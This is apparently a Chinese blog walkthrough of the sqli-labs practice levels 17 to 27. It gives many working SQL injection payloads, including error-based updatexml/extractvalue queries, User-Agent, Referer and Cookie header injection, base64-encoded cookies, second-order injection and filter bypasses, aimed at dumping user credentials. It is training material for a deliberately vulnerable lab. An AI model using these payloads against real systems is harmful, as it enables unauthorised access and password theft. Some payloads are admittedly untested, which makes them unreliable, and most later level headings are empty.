在这里插入图片描述
发现uname的参数进行了函数检查,unmae的参数直接去15个字符,但是passwd却没进行检查过滤,所以尝试使用通过passwd参数进行注入测试

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
		#magic_quotes_gpc = On,如果输入数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符会加上反斜线
		#magic_quotes_gpc函数判断解析用户提示的数据,包括有:post、get、cookie过来的数据增加转义字符“\”,确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起污染出现致命的错误
		#magic_quotes_gpc=On,函数get_magic_quotes_gpc()返回1

		#magic_quotes_gpc=Off,函数get_magic_quotes_gpc()返回0
			{
			$value = stripslashes($value);
			#删除由 addslashes() 函数添加的反斜杠
			}

		// Quote if not a number
		if (!ctype_digit($value))
		#判断是不是数字,是数字就返回true,否则返回false
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			#转义 SQL 语句中使用的字符串中的特殊字符
			}
		
	else
		{
		$value = intval($value);
		#整型转换
		}
	return $value;
	}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
爆版本
admin' and (updatexml(1,concat(0x7e, version(),0x7e),1)) -- -
爆库
admin' and updatexml(1,concat(0x7e,database(),0x7e),1) -- -
爆表名
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) -- -
爆列名
1' and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆列名
1' and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
爆值
1'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') sqllab ),0x7e),1) --+
1'  and  updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

less 18----基于’的User-Agent:报头文报错注入 基于错误的用户代理,头部POST注入

在这里插入图片描述
通过注入点测试填写正确的账户密码可以获得浏览器标识符,所以应该是通过浏览器标识符进行注入,查看网页源代码

查看源代码确实是通过浏览器标识符进行注入, insert语句,把user-agent插入到数据库,而且是单引号闭合

爆库 两种不同函数的爆库
',1,updatexml(1,concat(0x7e,(select database()),0x7e),1)) -- -
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
  • 1
  • 2
  • 3

在这里插入图片描述
注入点确定了,其他操作同单引号闭合绕过注入关卡的其他语句,第十一关的语句直接搬过来用就可以

less 19----基于’的Referer:报头文报错注入 基于头部的Referer POST报错注入

在这里插入图片描述
与上一关的注入点测试相同,同样是输入正确的账户密码得到一串提示,提示是头部信息里的refer字段,所以查看源代码
在这里插入图片描述
查看源代码确实是通过refer进行注入, insert语句,把refer插入到数据库,而且是单引号闭合

爆库 两种不同函数的爆库
',1,updatexml(1,concat(0x7e,(select database()),0x7e),1)) -- -
不知道为什么这个updatexml函数不能在这里用,只有下面的extracvalue函数能够进行爆破
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述
直接使用第十一关里面的extracvlaue函数构造的payload即可进行注入测试

less 20----基于’的Cookie:报头文报错注入 基于错误的cookie头部POST注入

使用正确的账号密码登陆成功后回显会给很多的信息
在这里插入图片描述
这里看到了cookie,并且题目是cookie的头部注入,所以查看源代码
在这里插入图片描述
代码说明把uname的参数传递给了cookie所以证明了猜想,使用cookie作为注入点进行注入
在这里插入图片描述
通过burp拦截数据包,确实看到uname的参数传递给了cookie所以开始注入

uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;
uname=-admin' union select 1,2,database()--+
  • 1
  • 2

在这里插入图片描述
后面只需要更改显示security所在的语句的部分即可进行注入测试

Page-2(Advanced Injections)高级注入

less 21----基于’)字符型的Cookie注入 基于错误的复杂的字符型Cookie注入

在这里插入图片描述
通过正确的账户密码登陆进去看到回显ccokie值uname的参数变成了其他格式的字符串,看到结尾是=,根据特征应该是base编码,所以使用在线解码工具进行解码查看,编码前的字符串
在这里插入图片描述
查看到解码后的字符串时admin,说明cookie的参数被过滤了,查看网页源代码
在这里插入图片描述
可以确定cookie的值被base64编码,也确定了注入点,所以查看显示点

通过报错回显,查看闭合方式

admin' and 1=1 -- -
YWRtaW4nIGFuZCAxPTEgLS0gLQ==
  • 1
  • 2

在这里插入图片描述
通过报错信息可以得到,是通过单引号和反括号进行闭合,所以尝试构造payload

') union select 1,2,3#
在burpsuit中直接使用ctrl + B 进行base64的编码
JykgdW5pb24gc2VsZWN0IDEsMiwzIyA=
  • 1
  • 2
  • 3

在这里插入图片描述
显示点也出来了,所以paylaod也好构造了

这里的注释还是使用#更方便一些 -- -和-- +不太方便
爆版本 爆库
-admin') union select 1,version(),database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsdmVyc2lvbigpLGRhdGFiYXNlKCkj
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述
其他注入方式直接更改显示点sql语句即可

less 22----基于"字符型的Cookie注入 基于错误的双引号字符型Cookie注入

uname=" union select 1,2,3#
dW5hbWU9IiB1bmlvbiBzZWxlY3QgMSwyLDMj
  • 1
  • 2

遇上一关操作相同,只是更改了闭合方式,将单引号和反括号的闭合方式改为一个双引号即可,其他操作相同

less 23----过滤注释的GET型注入 基于错误的,过滤注释的GET型

这一关过滤掉了注释符,看看用什么方法能够进行注释符的操作,查看网页,网页源代码进行分析
在这里插入图片描述
在这里插入图片描述
查看到是使用引号进行闭合,所以尝试构造闭合进行尝试

还是相同的开始查看显示点
?id =-1' union select 1,2,3 ='1
爆库
?id=-1' union select 1,database(),3 ='1
?id=' union select 1,version(),database() '
爆表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆值
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

less 24----二次注入

在这里插入图片描述
观察页面是让注册账号,可能是通过用户名密码什么构造恶意代码进行注入,所以查看网页源代码
在这里插入图片描述
在这里插入图片描述
首先先进行注册
在这里插入图片描述
先在构造恶意用户名,再通过更改密码进行尝试

使用用户名admin和密码123进行登录失败,尝试更改admin' ---密码
  • 1

在这里插入图片描述
不知道为啥就一直显示这个,登陆成功后就是这个提示,无法更改密码,这一关的原理就是,通过构造恶意用户名,对插入更改数据库数据的sql语句进行闭合截断,从而更改管理员密码进行登录后台

原理
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

UPDATE users SET passwd="New_Pass" WHERE username =' admin'
  • 1
  • 2
  • 3
  • 4

less 25----过滤or和and的单引号注入 OR & AND 欺骗

在这里插入图片描述

直接爆破显示点
?id=-1' union select 1,2,3-- -
  • 1
  • 2

在这里插入图片描述

构造payload爆库
?id=-1' union select 1,2,database()--+
  • 1
  • 2

在这里插入图片描述

因为password里面含有or所以双写绕过
?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
  • 1
  • 2

在这里插入图片描述

都可以双写绕过进行判断注入点
?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+
  • 1
  • 2
  • 3

其他诸如操作都相同,看之前几关构造的payload即可

less 25a----过滤or和and的注入 过滤了or和and的盲注

观察网页和网页源代码,可以发现上一关的id被单引号闭合,但是a这关没有进行闭合,所以去掉单引号进行注入试试在这里插入图片描述在这里插入图片描述

?id=-1 union select 1,2,3 -- -
  • 1

在这里插入图片描述

能使用联合注入进行注入,同时这一关是盲注,所以使用时间延迟注入试试
?id=-1 union select 1,2,database()---
因为关键字被过滤所以使用符号进行代替
?id=-1 || if(length(database())=8,1,sleep(5))#
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

less 26----基于’过滤注释和空格的注入

查看过滤规则
在这里插入图片描述
在这里插入图片描述

%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格
这些字符windows并不能进行解析,只有linux能够解析这些特殊字符,所以要在linux下搭建一个sqli-lab的环境进行测试
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
?id=-1'aandnd(updatexml(0x7e,database(),0x7e))anandd'1'='1
爆数据库
?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1  
爆表
?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271  
爆列
?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schem提取数据a='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 
?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

我实在是做不出来了,没有环境,配置可能也不对,所以看一看大佬的注入手法学习一下
/https://blog.csdn.net/nzjdsds/article/details/77430073#t9/
未进行尝试,也不确定能适合所有机器进行注入

id=-1'aandnd(updatexml(1,'~aaaa',1))anandd'1'='1
  • 1

less 26a----基于’)过滤注释和空格的盲注

不会报错,多加括号

less 27----基于"过滤注释和空格的盲注

单引号换成双引号,方法同上。

less 28

less 29

less 30

less 31

less 32

less 33

less 34

less 35

less 36

less 37

less 38

less 39

less 40

less 41

less 42

less 43

less 44

less 45

less 46

less 47

less 48

less 49

less 50

less 51

less 52

less 53

less 54

less 55

less 56

less 57

less 58

less 59

less 60

less 61

less 62

less 63

less 64

less 65

less 66

less 67

less 68

less 69

less 70

less 71

less 72

less 73

less 74

less 75

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/267513
推荐阅读
相关标签
  

闽ICP备14008679号